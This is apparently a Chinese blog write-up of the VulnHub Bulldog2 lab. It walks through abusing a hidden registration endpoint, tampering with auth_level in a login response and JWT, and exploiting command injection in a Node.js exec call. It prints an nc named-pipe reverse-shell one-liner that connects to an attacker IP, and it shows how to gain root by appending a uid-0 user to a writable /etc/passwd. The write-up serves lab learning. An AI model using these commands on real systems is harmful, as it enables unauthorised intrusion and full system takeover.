vulnhub靶机-Bulldog2

vulnhub靶机系列-Bulldog2

知识点:

  • node.js源码分析
  • 水平越权,垂直越权
  • NC反弹shell
  • 写入/etc/passwd提取

环境准备

靶机下载

下载靶机ova文件之后,直接右键导入虚拟机即可,网卡设置为net模式

1593676547721

网络配置

参考:http://cyzcc.vip/2020/06/29/Os-hackNos-3/里面的配置方式

1593435681743

信息收集

主机发现

1
nmap -sP 192.168.211.1/24

1593507040858

端口扫描

1
nmap -A 192.168.211.150 -p 1-65535

靶机开放了80端口,访问发现是一个可以注册和登录的网站

登陆抓包,尝试是否有sql注入
1593567471917

爆出网站路径,但是猜测之后似乎不存在SQL注入

当准备注册的时候发现注册功能不被允许使用
1593507184463

目录扫描也没有什么发现,在源码中发现了几个js文件,下载下来进行利用
1593566759371

通过在main….js中搜索关键字register找到了文件注册的路径
1593566813771

然后发现了一处跟登陆格式相似的地方,猜测为注册时的格式

1593567341692

GETSHELL

尝试构造注册时的数据包,将/users/authenticate改为/users/register
1593567833575

注册成功,并且能成功登陆
1593567903312

通过观察可以发现用户名会直接拼接在url后面,可以再注册一个账号,测试是否存在水平越权
1593568578617

越权成功,存在水平越权。之后尝试垂直越权到admin,但是失败了
1593568706678

尝试注册一个admin用户,虽然注册成功,但是登陆进去跟普通用户一样
之后使用该admin账号登陆时抓包发现了jwt和一个auto_level参数,猜测这个应该是用户权限水平
1593568977635

在js里面搜索auth_level,发现了master_admin_user,猜测如果将auth_level的值修改为master_admin_user,应该就为管理员权限了
1593569037783

将jwt解码后也存在auth_level字段
1593569337540

依然是在登陆时抓包,因为数据是在返回包中,所以使用如下的方式修改,之后点Drop即可修改数据

1593569458595

1593569725495

成功获得管理员权限,并且多出了一个功能

1593569764240

在admin页面进行抓包,删除一个双引号之后爆出网站路径
1593569943885

Bulldog-2-The-Reckoning这个为github上面的一个项目,通过审计发现存在命令注入
1593591931978

在routes/users.js /文件里面,通过搜索返回包里面的"success":false,"msg":"Wrong password"字段,发现了exec函数
1593592063534

但是这个命令执行并不会回显,所以直接反弹shell
先使用ping命令验证一下

1593592650112

1593592636209

成功执行命令,这里使用nc进行反弹shellNC反弹

默认linux的nc没有带-e(发送至性程序)选项, 可以通过命名管道的方式把bash通过nc反弹出来

1
2
3
4
5
6
受害主机:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.211.151 777 > /tmp/f

攻击主机先监听8080端口:

nc -lvp 777

1593592926252

提权

使用sudo需要密码,所以不能使用sudo提权
先查看改用户拥有的文件

1
find / -user node 2>/dev/null

1593593769519

似乎没有可以利用的文件
搜索可写入文件

1
find / -perm -2 -type f 2>/dev/null

1593593828626

发现/etc/passwd文件可写,可以使用写入root用户的方式进行提取

先使用openssl工具先创建一个本地的加密用户:

1
2
3
openssl passwd -1 -salt admin 123456

=>$1$admin$LClYcRe.ee8dQwgrFc5nz.

构造/etc/passwd

1
hack:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash

写入/etc/passwd

1
echo 'hack:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /etc/passwd

这里 使用单引号,双引号会导致写入不全

1593595386641

文章作者:CyzCc
最后更新:2020年07月06日 16:07:52
原始链接:https://cyzcc.vip/2020/07/06/Bulldog2/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------